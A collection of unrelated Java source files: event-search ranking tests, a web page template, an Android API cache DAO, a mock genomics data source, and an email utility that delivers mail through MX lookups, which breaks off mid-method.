KEYWORDS_NAME_WITHOUT_GAMES,
KEYWORDS_DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE);
searchStore.addEventToIndex(
EVENT_ID_1, NAME_WITHOUT_GAMES, DESCRIPTION_WITH_GAMES_IN_LOW_RELEVANCE);
searchStore.addEventToIndex(
EVENT_ID_2, NAME_WITHOUT_GAMES, DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE);
List<Event> actualResults = searchStore.getSearchResults(GAMES);
Assert.assertEquals(EVENT_ID_2, actualResults.get(0).getId());
Assert.assertEquals(NAME_WITHOUT_GAMES, actualResults.get(0).getName());
Assert.assertEquals(
DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE, actualResults.get(0).getDescription());
Assert.assertEquals(EVENT_ID_1, actualResults.get(1).getId());
Assert.assertEquals(NAME_WITHOUT_GAMES, actualResults.get(1).getName());
Assert.assertEquals(
DESCRIPTION_WITH_GAMES_IN_LOW_RELEVANCE, actualResults.get(1).getDescription());
}
@Test
public void
twoEvents_tieInRelevanceInDescription_secondHasRelevanceInName_returnsSecondEventBeforeFirst()
throws IOException {
// ID | Name Has Games | Description Has Games
// 1 | No | Yes - HIGH relevance
// 2 | Yes | Yes - HIGH relevance
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(
EVENT_ID_1, NAME_WITHOUT_GAMES, DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE));
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(
EVENT_ID_2, NAME_WITH_GAMES, DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE));
Mockito.when(mockKeywordHelper.getKeywords())
.thenReturn(
// Keywords for Event with ID 1
KEYWORDS_NAME_WITHOUT_GAMES,
KEYWORDS_DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE,
// Keywords for Event with ID 2
KEYWORDS_NAME_WITH_GAMES,
KEYWORDS_DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE);
searchStore.addEventToIndex(
EVENT_ID_1, NAME_WITHOUT_GAMES, DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE);
searchStore.addEventToIndex(
EVENT_ID_2, NAME_WITH_GAMES, DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE);
List<Event> actualResults = searchStore.getSearchResults(GAMES);
Assert.assertEquals(EVENT_ID_2, actualResults.get(0).getId());
Assert.assertEquals(NAME_WITH_GAMES, actualResults.get(0).getName());
Assert.assertEquals(
DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE, actualResults.get(0).getDescription());
Assert.assertEquals(EVENT_ID_1, actualResults.get(1).getId());
Assert.assertEquals(NAME_WITHOUT_GAMES, actualResults.get(1).getName());
Assert.assertEquals(
DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE, actualResults.get(1).getDescription());
}
@Test
public void
twoEvents_tieInRelevanceInName_secondHasRelevanceInDescription_returnsSecondEventBeforeFirst()
throws IOException {
// ID | Name Has Games | Description Has Games
// 1 | YES - HIGH relevance | No
// 2 | Yes - HIGH relevance | Yes
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(
EVENT_ID_1, NAME_WITH_GAMES_IN_HIGH_RELEVANCE, DESCRIPTION_WITHOUT_GAMES));
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(EVENT_ID_2, NAME_WITH_GAMES_IN_HIGH_RELEVANCE, DESCRIPTION_WITH_GAMES));
Mockito.when(mockKeywordHelper.getKeywords())
.thenReturn(
// Keywords for Event with ID 1
KEYWORDS_NAME_WITH_GAMES_IN_HIGH_RELEVANCE,
KEYWORDS_DESCRIPTION_WITHOUT_GAMES,
// Keywords for Event with ID 2
KEYWORDS_NAME_WITH_GAMES_IN_HIGH_RELEVANCE,
KEYWORDS_DESCRIPTION_WITH_GAMES);
searchStore.addEventToIndex(
EVENT_ID_1, NAME_WITH_GAMES_IN_HIGH_RELEVANCE, DESCRIPTION_WITHOUT_GAMES);
searchStore.addEventToIndex(
EVENT_ID_2, NAME_WITH_GAMES_IN_HIGH_RELEVANCE, DESCRIPTION_WITH_GAMES);
List<Event> actualResults = searchStore.getSearchResults(GAMES);
Assert.assertEquals(EVENT_ID_2, actualResults.get(0).getId());
Assert.assertEquals(NAME_WITH_GAMES_IN_HIGH_RELEVANCE, actualResults.get(0).getName());
Assert.assertEquals(
DESCRIPTION_WITH_GAMES, actualResults.get(0).getDescription());
Assert.assertEquals(EVENT_ID_1, actualResults.get(1).getId());
Assert.assertEquals(NAME_WITH_GAMES_IN_HIGH_RELEVANCE, actualResults.get(1).getName());
Assert.assertEquals(
DESCRIPTION_WITHOUT_GAMES, actualResults.get(1).getDescription());
}
@Test
public void
addTwoEvents_firstRelevanceInDescription_secondSameRelevanceInName_returnsSecondEventBeforeFirst()
throws IOException {
// ID | Name Has Games | Description Has Games
// 1 | No | Yes - HIGH relevance
// 2 | Yes - HIGH relevance | No
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(
EVENT_ID_1, NAME_WITHOUT_GAMES, DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE));
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(
EVENT_ID_2, NAME_WITH_GAMES_IN_HIGH_RELEVANCE, DESCRIPTION_WITHOUT_GAMES));
Mockito.when(mockKeywordHelper.getKeywords())
.thenReturn(
// Keywords for Event with ID 1
KEYWORDS_NAME_WITHOUT_GAMES,
KEYWORDS_DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE,
// Keywords for Event with ID 2
KEYWORDS_NAME_WITH_GAMES_IN_HIGH_RELEVANCE,
KEYWORDS_DESCRIPTION_WITHOUT_GAMES);
searchStore.addEventToIndex(
EVENT_ID_1, NAME_WITHOUT_GAMES, DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE);
searchStore.addEventToIndex(
EVENT_ID_2, NAME_WITH_GAMES_IN_HIGH_RELEVANCE, DESCRIPTION_WITHOUT_GAMES);
List<Event> actualResults = searchStore.getSearchResults(GAMES);
Assert.assertEquals(EVENT_ID_2, actualResults.get(0).getId());
Assert.assertEquals(NAME_WITH_GAMES_IN_HIGH_RELEVANCE, actualResults.get(0).getName());
Assert.assertEquals(
DESCRIPTION_WITHOUT_GAMES, actualResults.get(0).getDescription());
Assert.assertEquals(EVENT_ID_1, actualResults.get(1).getId());
Assert.assertEquals(NAME_WITHOUT_GAMES, actualResults.get(1).getName());
Assert.assertEquals(
DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE, actualResults.get(1).getDescription());
}
/**
* When an event with description with the keyword food vendors is added to the index,
* a search for the word food should also return the event in result.
*/
@Test
public void
addEventWithEntity_searchForKeywordWithinEntity_oneResultReturned()
throws IOException {
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(
EVENT_ID_1, NAME_WITHOUT_FOOD_VENDORS, DESCRIPTION_WITH_FOOD_VENDORS));
Mockito.when(mockKeywordHelper.getKeywords())
.thenReturn(
// Keywords for Event with ID 1
KEYWORDS_NAME_WITHOUT_FOOD_VENDORS,
KEYWORDS_DESCRIPTION_WITH_FOOD_VENDORS);
searchStore.addEventToIndex(
EVENT_ID_1, NAME_WITHOUT_FOOD_VENDORS, DESCRIPTION_WITH_FOOD_VENDORS);
List<Event> actualResults = searchStore.getSearchResults(FOOD);
Assert.assertEquals(EVENT_ID_1, actualResults.get(0).getId());
Assert.assertEquals(NAME_WITHOUT_FOOD_VENDORS, actualResults.get(0).getName());
Assert.assertEquals(
DESCRIPTION_WITH_FOOD_VENDORS, actualResults.get(0).getDescription());
}
/**
* When an event with description with the keyword growers is added to the index,
* a search for the word grower should also return the event in result as grower is the
* basic form of growers. The basic form of growers is grower.
*/
@Test
public void
addEventWithKeyword_searchForKeywordBasicForm_oneResultReturned()
throws IOException {
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(
EVENT_ID_1, NAME_WITHOUT_GROWERS, DESCRIPTION_WITH_GROWERS));
Mockito.when(mockKeywordHelper.getKeywords())
.thenReturn(
// Keywords for Event with ID 1
KEYWORDS_NAME_WITHOUT_GROWERS,
KEYWORDS_DESCRIPTION_WITH_GROWERS);
Mockito.when(mockKeywordHelper.getTokensWithBasicForm())
.thenReturn(
// Keywords for Event with ID 1
TOKENS_NAME_WITHOUT_GROWERS,
TOKENS_DESCRIPTION_WITH_GROWERS);
searchStore.addEventToIndex(
EVENT_ID_1, NAME_WITHOUT_GROWERS, DESCRIPTION_WITH_GROWERS);
List<Event> actualResults = searchStore.getSearchResults(GROWER);
Assert.assertEquals(EVENT_ID_1, actualResults.get(0).getId());
Assert.assertEquals(NAME_WITHOUT_GROWERS, actualResults.get(0).getName());
Assert.assertEquals(
DESCRIPTION_WITH_GROWERS, actualResults.get(0).getDescription());
}
/**
* Ensures the ranking still holds when basic forms and words within keywords are involved.
* When description with the keyword food vendors is added to the index, a search
* for the word vendor should also return the event in result. The word
* vendor is the basic form of the word vendors within the keyword food vendors.
*/
@Test
public void
addTwoEventsWithKeywordInDescription_secondWithWordInName_searchForWordWithinKeywordBasicForm_twoResultReturned()
// ID | Name Has Food Vendors | Description Has Food Vendors
// 1 | Yes | Yes
// 2 | Yes | No
throws IOException {
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(
EVENT_ID_1, NAME_WITHOUT_FOOD_VENDORS, DESCRIPTION_WITH_FOOD_VENDORS));
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(
EVENT_ID_2, NAME_WITH_FOOD_VENDORS, DESCRIPTION_WITH_FOOD_VENDORS));
Mockito.when(mockKeywordHelper.getKeywords())
.thenReturn(
// Keywords for Event with ID 1
KEYWORDS_NAME_WITHOUT_FOOD_VENDORS,
KEYWORDS_DESCRIPTION_WITH_FOOD_VENDORS);
Mockito.when(mockKeywordHelper.getTokensWithBasicForm())
.thenReturn(
// Keywords for Event with ID 1
TOKENS_NAME_WITHOUT_FOOD_VENDORS,
TOKENS_DESCRIPTION_WITH_FOOD_VENDORS);
Mockito.when(mockKeywordHelper.getTokensWithBasicForm())
.thenReturn(
// Keywords for Event with ID 1
TOKENS_NAME_WITH_FOOD_VENDORS,
TOKENS_DESCRIPTION_WITH_FOOD_VENDORS);
searchStore.addEventToIndex(
EVENT_ID_1, NAME_WITHOUT_FOOD_VENDORS, DESCRIPTION_WITH_FOOD_VENDORS);
searchStore.addEventToIndex(
EVENT_ID_2, NAME_WITH_FOOD_VENDORS, NAME_WITH_FOOD_VENDORS);
List<Event> actualResults = searchStore.getSearchResults(VENDOR);
Assert.assertEquals(EVENT_ID_2, actualResults.get(0).getId());
Assert.assertEquals(NAME_WITH_FOOD_VENDORS, actualResults.get(0).getName());
Assert.assertEquals(
DESCRIPTION_WITH_FOOD_VENDORS, actualResults.get(0).getDescription());
Assert.assertEquals(EVENT_ID_1, actualResults.get(1).getId());
Assert.assertEquals(NAME_WITHOUT_FOOD_VENDORS, actualResults.get(1).getName());
Assert.assertEquals(
DESCRIPTION_WITH_FOOD_VENDORS, actualResults.get(1).getDescription());
}
}
|
package com.distelli.europa.react;
import org.apache.log4j.Logger;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.module.mrbean.MrBeanModule;
import com.fasterxml.jackson.annotation.JsonInclude;
import com.distelli.europa.webserver.*;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.SerializationFeature;
public class PageTemplate
{
private static final Logger log = Logger.getLogger(PageTemplate.class);
protected static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();
static {
// Support deserializing interfaces:
OBJECT_MAPPER.registerModule(new MrBeanModule());
OBJECT_MAPPER.setSerializationInclusion(JsonInclude.Include.NON_NULL);
OBJECT_MAPPER.getJsonFactory().setCharacterEscapes(new HTMLCharacterEscapes());
OBJECT_MAPPER.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
}
private static final String templateContent = "<!DOCTYPE html>"+
"<html lang=\"en\">"+
" <head>"+
" <meta charset=\"utf-8\">"+
" <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">"+
" <title>Distelli Registry Action Monitor</title>"+
" <link rel=\"stylesheet\" href=\"/public/css/app.css\">"+
" </head>"+
" <body>"+
" <div id=\"root\"></div>"+
" <script type=\"text/javascript\">"+
" self.fetch = null;"+
" </script>"+
" <script src=\"/public/js/app.js\"></script>"+
" <script type=\"text/javascript\">"+
" var PAGE_PROPS = %s;"+
" window.MyApp.init({"+
" mount: 'root',"+
" props: PAGE_PROPS"+
" });"+
" </script>"+
" </body>"+
"</html>";
public PageTemplate()
{
}
public WebResponse renderPage(RequestContext requestContext, String pageName, JSXProperties properties)
{
try {
if(properties == null)
properties = new JSXProperties(requestContext);
String responseContent = String.format(templateContent, OBJECT_MAPPER.writeValueAsString(properties));
return new WebResponse(200, responseContent);
} catch(JsonProcessingException jpe) {
throw(new WebServerException(jpe));
}
}
}
|
package com.stanfy.serverapi.cache;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.regex.Pattern;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.net.Uri;
import android.provider.BaseColumns;
import android.util.Log;
import com.stanfy.DebugFlags;
import com.stanfy.content.AppContentProvider;
import com.stanfy.images.BuffersPool;
import com.stanfy.images.PoolableBufferedInputStream;
import com.stanfy.utils.AppUtils;
import com.stanfy.utils.Time;
public final class APICacheDAO implements BaseColumns {
/** Logging tag. */
private static final String TAG = "APICache";
/** Debug flag. */
private static final boolean DEBUG = DebugFlags.DEBUG_API;
/** Cache enabled flag. */
private static boolean cacheEnabled = false;
/** Cache time rules collection. */
private static final ArrayList<TimeRule> CACHE_TIME_RULES = new ArrayList<APICacheDAO.TimeRule>();
/** Table name. */
public static final String TABLE_NAME = "api_cache";
/** Prefix for all cache paths. */
private static final String CACHE_PATH_PREFIX = "apicache/";
/** Columns. */
public static final String URL = "url", FILE = "file", TIME = "time";
/** Columns array to use in queries. */
private static final String[] COLUMNS = new String[] {_ID, FILE, TIME};
/** @param timeRule Custom {@link TimeRule} instance. */
public static void addTimeRule(final TimeRule timeRule) {
CACHE_TIME_RULES.add(timeRule);
}
/**
* @param p URL pattern
* @param time how long should the cache live
*/
public static void addTimeRule(final String pattern, final long time) {
CACHE_TIME_RULES.add(new TimeRule(Pattern.compile(pattern), time));
}
/**
* @param p URL pattern
* @param time count of millisecond from 00:00 of the current day to determine an hour when cache expires
*/
public static void addUntilTimeRule(final String pattern, final long time) {
CACHE_TIME_RULES.add(new UntilTimeRule(Pattern.compile(pattern), time));
}
/** @return the cacheEnabled */
public static boolean isCacheEnabled() { return cacheEnabled; }
/** @param cacheEnabled the cacheEnabled to set */
public static void setCacheEnabled(final boolean cacheEnabled) {
APICacheDAO.cacheEnabled = cacheEnabled;
if (!cacheEnabled) { CACHE_TIME_RULES.clear(); }
}
/**
* @param db database instance
*/
public static void ensureCacheTable(final SQLiteDatabase db) {
if (!cacheEnabled) { return; }
final String index = TABLE_NAME + "_url_idx";
db.execSQL("DROP INDEX IF EXISTS " + index);
db.execSQL("DROP TABLE IF EXISTS " + TABLE_NAME);
db.execSQL(
"CREATE TABLE " + TABLE_NAME + " ("
+ _ID + " INTEGER PRIMARY KEY AUTOINCREMENT,"
+ URL + " TEXT,"
+ FILE + " TEXT,"
+ TIME + " INTEGER"
+ ")"
);
db.execSQL("CREATE INDEX " + index + " ON " + TABLE_NAME + "(" + URL + ")");
}
public static Uri getUri(final Context context, final String authority) {
return Uri.parse("content://" + authority + "/" + AppContentProvider.PATH_API_CACHE);
}
public static File getCachedFile(final Context context, final String authority, final String url) {
if (!cacheEnabled) { return null; }
Cursor c = null;
try {
c = context.getContentResolver().query(getUri(context, authority), COLUMNS, URL + "=?", new String[] {url}, null);
if (c == null || !c.moveToFirst()) { return null; }
final long time = c.getLong(2);
final int l = CACHE_TIME_RULES.size();
final String resultPath = c.getString(1);
if (resultPath == null) { return null; }
final File resultFile = new File(context.getCacheDir(), resultPath);
if (!resultFile.exists()) { return null; }
final long start = System.currentTimeMillis();
for (int i = 0; i < l; i++) {
final TimeRule tr = CACHE_TIME_RULES.get(i);
if (tr.p.matcher(url).matches()) {
if (!tr.isActual(time)) {
delete(context, authority, c.getLong(0));
resultFile.delete();
}
if (DEBUG) { Log.d(TAG, "Cache rules time: " + (System.currentTimeMillis() - start) + " ms, cahe rule: " + tr); }
break;
}
}
if (DEBUG) { Log.d(TAG, "Cache rules time: " + (System.currentTimeMillis() - start) + " ms"); }
return resultFile.exists() ? resultFile : null;
} finally {
if (c != null) { c.close(); }
}
}
private static String getFilePath(final long id) {
final long divider = 10;
return CACHE_PATH_PREFIX + AppUtils.buildFilePathById(id / divider, String.valueOf(id));
}
/**
* @param db DB instance
* @param url API request url
* @param source source stream
* @param bsize buffer size
* @return new input stream
*/
public static CachedStreamInfo insert(final Context context, final String authority, final String url, final InputStream source, final BuffersPool buffersPool, final int bsize) {
if (!cacheEnabled) { return new CachedStreamInfo(source, -1); }
final ContentValues cv = new ContentValues(2);
cv.put(URL, url);
cv.put(TIME, System.currentTimeMillis());
final ContentResolver resolver = context.getContentResolver();
final Uri baseUri = getUri(context, authority);
final long id = Long.parseLong(resolver.insert(baseUri, cv).getLastPathSegment());
final String path = getFilePath(id);
cv.clear();
cv.put(FILE, path);
InputStream result = source;
final File f = new File(context.getCacheDir(), path);
try {
f.getParentFile().mkdirs();
final FileOutputStream output = new FileOutputStream(f);
final byte[] buffer = buffersPool.get(bsize);
int cnt;
try {
do {
cnt = source.read(buffer);
if (cnt > 0) { output.write(buffer, 0, cnt); }
} while (cnt >= 0);
} finally {
output.close();
source.close();
buffersPool.release(buffer);
}
result = new PoolableBufferedInputStream(new FileInputStream(f), bsize, buffersPool);
} catch (final IOException e) {
throw new RuntimeException(e);
}
resolver.update(baseUri, cv, _ID + "=" + id, null);
return new CachedStreamInfo(result, id);
}
/**
* @param db database instance
* @param id record identifier
*/
public static void delete(final Context context, final String authority, final long id) {
if (!cacheEnabled) { return; }
final String path = getFilePath(id);
new File(context.getCacheDir(), path).delete();
context.getContentResolver().delete(getUri(context, authority), _ID + "=" + id, null);
}
private APICacheDAO() { /* hide */ }
public static class TimeRule {
/** Pattern. */
final Pattern p;
/** Time to live. */
final long time;
public TimeRule(final Pattern p, final long time) {
this.p = p; this.time = time;
}
public boolean isActual(final long createTime) { return time > System.currentTimeMillis() - createTime; }
@Override
public String toString() { return getClass().getSimpleName() + ":" + p.pattern() + "/" + (time / Time.MINUTES) + "min"; }
}
public static class UntilTimeRule extends TimeRule {
/**
* @param p URL pattern
* @param time count of millisecond from 00:00 of the current day to determine an hour when cache expires
*/
public UntilTimeRule(final Pattern p, final long time) {
super(p, time);
}
@Override
public boolean isActual(final long createTime) {
final long day = Time.DAYS;
final long current = System.currentTimeMillis();
long margin = current / day * day + time;
if (createTime > margin) { margin += day; }
return current < margin;
}
}
public static class CachedStreamInfo {
/** Stream. */
private final InputStream stream;
/** Cache record ID. */
private final long id;
public CachedStreamInfo(final InputStream stream, final long id) {
this.stream = stream;
this.id = id;
}
/** @return the stream */
public InputStream getStream() { return stream; }
/** @return the id */
public long getId() { return id; }
}
}
|
package org.rti.webgenome.service.data;
import java.util.ArrayList;
import java.util.Collection;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.rti.webgenome.client.BioAssayDataConstraints;
import org.rti.webgenome.client.QuantitationTypes;
import org.rti.webgenome.domain.Array;
import org.rti.webgenome.domain.ArrayDatum;
import org.rti.webgenome.domain.BioAssay;
import org.rti.webgenome.domain.ChromosomeArrayData;
import org.rti.webgenome.domain.DataContainingBioAssay;
import org.rti.webgenome.domain.Experiment;
import org.rti.webgenome.domain.Organism;
import org.rti.webgenome.domain.Principal;
import org.rti.webgenome.domain.Reporter;
import org.rti.webgenome.service.client.SimulatedDataClientDataService;
/**
* An implementation of <code>DataSource</code> used only for testing.
* @author dhall
*
*/
public class MockDataSource implements DataSource {
// C O N S T A N T S
/** Number of experiments provided by this data source. */
private static final int NUM_EXPERIMENTS = 6;
/** Mock name of client from which mock data are obtained. */
private static final String CLIENT_ID = "mock";
/** Chromosome sizes. */
private static final long[] CHROM_SIZES = new long[] {
300000000, 250000000, 170000000, 150000000, 100000000};
/** Quantitation type for data. */
private static final String QTYPE = QuantitationTypes.COPY_NUMBER;
/** Domain name for authentication. */
private static final String DOMAIN = "mock";
/** Display name of this data source. */
private static final String DISPLAY_NAME = "Mock Data Source";
// C L A S S M E M B E R S
/** The experiment DTOs provided by this data source indexed by ID. */
private final Map<String, ExperimentDto> experiments =
new HashMap<String, ExperimentDto>();
/** The bioassay DTOs provided by this data source indexed by ID. */
private final Map<String, BioAssayDto> bioassays =
new HashMap<String, BioAssayDto>();
/** The array DTOs provided by this data source indexed by ID. */
private final Map<String, ArrayDto> arrays =
new HashMap<String, ArrayDto>();
// C O N S T R U C T O R S
/**
* Constructor.
*/
public MockDataSource() {
// Instantiate simulated data service
SimulatedDataClientDataService service =
new SimulatedDataClientDataService();
// Create list of simulated experiments
String[] expIds = new String[NUM_EXPERIMENTS];
for (int i = 0; i < NUM_EXPERIMENTS; i++) {
expIds[i] = String.valueOf(i);
}
BioAssayDataConstraints[] constraints =
new BioAssayDataConstraints[CHROM_SIZES.length];
for (int i = 0; i < CHROM_SIZES.length; i++) {
BioAssayDataConstraints constr = new BioAssayDataConstraints();
constr.setChromosome(String.valueOf(i + 1));
constr.setPositions((long) 0, (long) CHROM_SIZES[i]);
constr.setQuantitationType(QTYPE);
constraints[i] = constr;
}
Collection<Experiment> experimentsCol = service.getClientData(
constraints, expIds, CLIENT_ID);
// Populate maps of member experiments
this.populateMaps(experimentsCol);
}
/**
* Helper method colled by constructor to populate the three
* member map properties.
* @param expCol Collection of experiments
*/
private void populateMaps(final Collection<Experiment> expCol) {
for (Experiment exp : expCol) {
this.addExperimentDto(exp);
this.addBioAssayDtos(exp);
this.addArrayDtos(exp);
}
}
/**
* Helper method to cache an <code>ExperimentDto</code>.
* @param exp Experiment from which to initialize the DTO.
*/
private void addExperimentDto(final Experiment exp) {
ExperimentDto dto = new ExperimentDto();
dto.setName(exp.getName());
dto.setOrganismName(Organism.UNKNOWN_ORGANISM.getDisplayName());
dto.setRemoteId(exp.getName());
for (BioAssay ba : exp.getBioAssays()) {
dto.addRemoteBioAssayId(ba.getName());
}
this.experiments.put(dto.getRemoteId(), dto);
}
/**
* Helper method to cache a set of <code>BioAssayDto</code>
* objects.
* @param exp Experiment from which to initialize the DTOs.
*/
private void addBioAssayDtos(final Experiment exp) {
for (BioAssay ba : exp.getBioAssays()) {
BioAssayDto dto = new BioAssayDto();
dto.setName(ba.getName());
dto.setRemoteArrayId(ba.getArray().getName());
dto.setRemoteId(ba.getName());
if (!(ba instanceof DataContainingBioAssay)) {
throw new IllegalArgumentException(
"Bioassay must be of type DataContainingBioAssay");
}
DataContainingBioAssay dataContBioAssay =
(DataContainingBioAssay) ba;
List<Float> values = new ArrayList<Float>();
List<String> reporterNames = new ArrayList<String>();
for (Short chrom : dataContBioAssay.getChromosomes()) {
ChromosomeArrayData caData =
dataContBioAssay.getChromosomeArrayData(chrom);
for (ArrayDatum datum : caData.getArrayData()) {
values.add(datum.getValue());
reporterNames.add(datum.getReporter().getName());
}
}
dto.setValues(values);
dto.setReporterNames(reporterNames);
this.bioassays.put(dto.getRemoteId(), dto);
}
}
/**
* Helper method to cache a set of <code>ArrayDto</code>
* objects.
* @param exp Experiment from which to initialize the DTOs.
*/
private void addArrayDtos(final Experiment exp) {
for (BioAssay bioAssay : exp.getBioAssays()) {
Array array = bioAssay.getArray();
if (!this.arrays.containsKey(array.getName())) {
ArrayDto dto = new ArrayDto();
dto.setName(array.getName());
dto.setRemoteId(array.getName());
List<String> reporterNames = new ArrayList<String>();
List<Short> chromosomes = new ArrayList<Short>();
List<Long> locations = new ArrayList<Long>();
if (!(bioAssay instanceof DataContainingBioAssay)) {
throw new IllegalArgumentException(
"Bioassay must be of type DataContainingBioAssay");
}
DataContainingBioAssay dataContBioAssay =
(DataContainingBioAssay) bioAssay;
for (Short chrom : bioAssay.getChromosomes()) {
ChromosomeArrayData cad =
dataContBioAssay.getChromosomeArrayData(chrom);
for (ArrayDatum datum : cad.getArrayData()) {
Reporter reporter = datum.getReporter();
reporterNames.add(reporter.getName());
chromosomes.add(chrom);
locations.add(reporter.getLocation());
}
}
dto.setReporterNames(reporterNames);
dto.setChromosomeNumbers(chromosomes);
dto.setChromosomeLocations(locations);
this.arrays.put(dto.getRemoteId(), dto);
}
}
}
/**
* {@inheritDoc}
*/
public Map<String, String> getExperimentIdsAndNames(
final Principal principal)
throws DataSourceAccessException {
Map<String, String> idsAndNames = new HashMap<String, String>();
for (String key : this.experiments.keySet()) {
ExperimentDto exp = this.experiments.get(key);
idsAndNames.put(key, exp.getName());
}
return idsAndNames;
}
/**
* {@inheritDoc}
*/
public Principal login( final String email,
final String password) {
return new Principal(email, password, DOMAIN);
}
/**
* {@inheritDoc}
*/
public String getDisplayName() {
return DISPLAY_NAME;
}
/**
* {@inheritDoc}
*/
public ArrayDto getArrayDto(final String id)
throws DataSourceAccessException {
return this.arrays.get(id);
}
/**
* {@inheritDoc}
*/
public BioAssayDto getBioAssayDto(final String id)
throws DataSourceAccessException {
return this.bioassays.get(id);
}
/**
* {@inheritDoc}
*/
public ExperimentDto getExperimentDto(final String id)
throws DataSourceAccessException {
return this.experiments.get(id);
}
}
|
package com.doctor.javamail.util;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Map.Entry;
import java.util.Properties;
import java.util.Set;
import java.util.concurrent.TimeUnit;
import java.util.stream.Collectors;
import javax.mail.Address;
import javax.mail.MessagingException;
import javax.mail.Session;
import javax.mail.URLName;
import javax.mail.internet.MimeMessage;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.xbill.DNS.Lookup;
import org.xbill.DNS.MXRecord;
import org.xbill.DNS.Record;
import org.xbill.DNS.TextParseException;
import org.xbill.DNS.Type;
import com.doctor.javamail.demo.SendMailDemo;
import com.doctor.javamail.util.Pair.PairBuider;
import com.sun.mail.smtp.SMTPTransport;
public final class SendEmailUtil {
private static final Logger log = LoggerFactory.getLogger(SendMailDemo.class);
private static final String SMTP_PROTOCOL_PREFIX = "smtp:
private static final String mail_mime_charset = "mail.mime.charset";
private static final String mail_smtp_connectiontimeout = "mail.smtp.connectiontimeout";
private static final String mail_smtp_timeout = "mail.smtp.timeout";
private static final String mail_smtp_localhost = "mail.smtp.localhost";
public static Session getSession(Properties properties) {
Properties config = getConfig(properties);
return Session.getInstance(config, null);
}
public static MimeMessage createMimeMessage() {
MimeMessage mMesg = new MimeMessage((Session) null);
return mMesg;
}
public static Pair<Boolean, String> sendMail(MimeMessage mimeMessage, Session session) throws MessagingException, IOException {
PairBuider<Boolean, String> pair = new PairBuider<>();
pair.setLeft(Boolean.FALSE);
Address[] allRecipients = mimeMessage.getAllRecipients();
if (allRecipients == null || allRecipients.length == 0) {
return null;
}
for (Address address : allRecipients) {
String currentRecipient = address.toString();
String hostName = currentRecipient.substring(currentRecipient.lastIndexOf("@") + 1);
Set<URLName> mxRecordsForHost = getMXRecordsForHost(hostName);
log.debug("currentRecipient:{} mxRecordsForHost:{}", currentRecipient, mxRecordsForHost);
boolean sendSuccessfully = false;
Iterator<URLName> recordIterator = mxRecordsForHost.iterator();
while (!sendSuccessfully && recordIterator.hasNext()) {
try {
TimeUnit.SECONDS.sleep(2);
} catch (InterruptedException e1) {
}
SMTPTransport transport = null;
try {
MimeMessage message = new MimeMessage(mimeMessage);
Properties props = session.getProperties();
if (message.getSender() == null) {
props.put("mail.smtp.from", "<>");
} else {
String sender = message.getSender().toString();
props.put("mail.smtp.from", sender);
}
URLName url = recordIterator.next();
log.debug("use url:{}", url);
transport = (SMTPTransport) session.getTransport(url);
transport.connect();
transport.sendMessage(message, new Address[] { address });
sendSuccessfully = true;
String lastServerResponse = transport.getLastServerResponse();
pair.setLeft(Boolean.TRUE);
pair.setRight(lastServerResponse);
} catch (Exception e) {
log.debug("send fail", e);
pair.setRight(getCause(e));
} finally {
if (transport != null) {
transport.close();
transport = null;
}
}
}
}
return pair.build();
}
private static Properties getConfig(Properties properties) {
Properties prop = System.getProperties();
for (Entry<Object, Object> es : properties.entrySet()) {
prop.put(es.getKey(), es.getValue());
}
return prop;
}
private static Set<URLName> getMXRecordsForHost(String hostName) throws TextParseException {
Set<URLName> recordsColl = new HashSet<>();
boolean foundOriginalMX = true;
Record[] records = new Lookup(hostName, Type.MX).run();
/*
* Sometimes we should send an email to a subdomain which does not
* have own MX record and MX server. At this point we should find an
* upper level domain and server where we can deliver our email.
*
* Example: subA.subB.domain.name has not own MX record and
* subB.domain.name is the mail exchange master of the subA domain
* too.
*/
if (records == null || records.length == 0) {
foundOriginalMX = false;
String upperLevelHostName = hostName;
while (records == null &&
upperLevelHostName.indexOf(".") != upperLevelHostName.lastIndexOf(".") &&
upperLevelHostName.lastIndexOf(".") != -1) {
upperLevelHostName = upperLevelHostName.substring(upperLevelHostName.indexOf(".") + 1);
records = new Lookup(upperLevelHostName, Type.MX).run();
}
}
if (records != null) {
// Sort in MX priority (higher number is lower priority)
Arrays.sort(records, new Comparator<Record>() {
@Override
public int compare(Record arg0, Record arg1) {
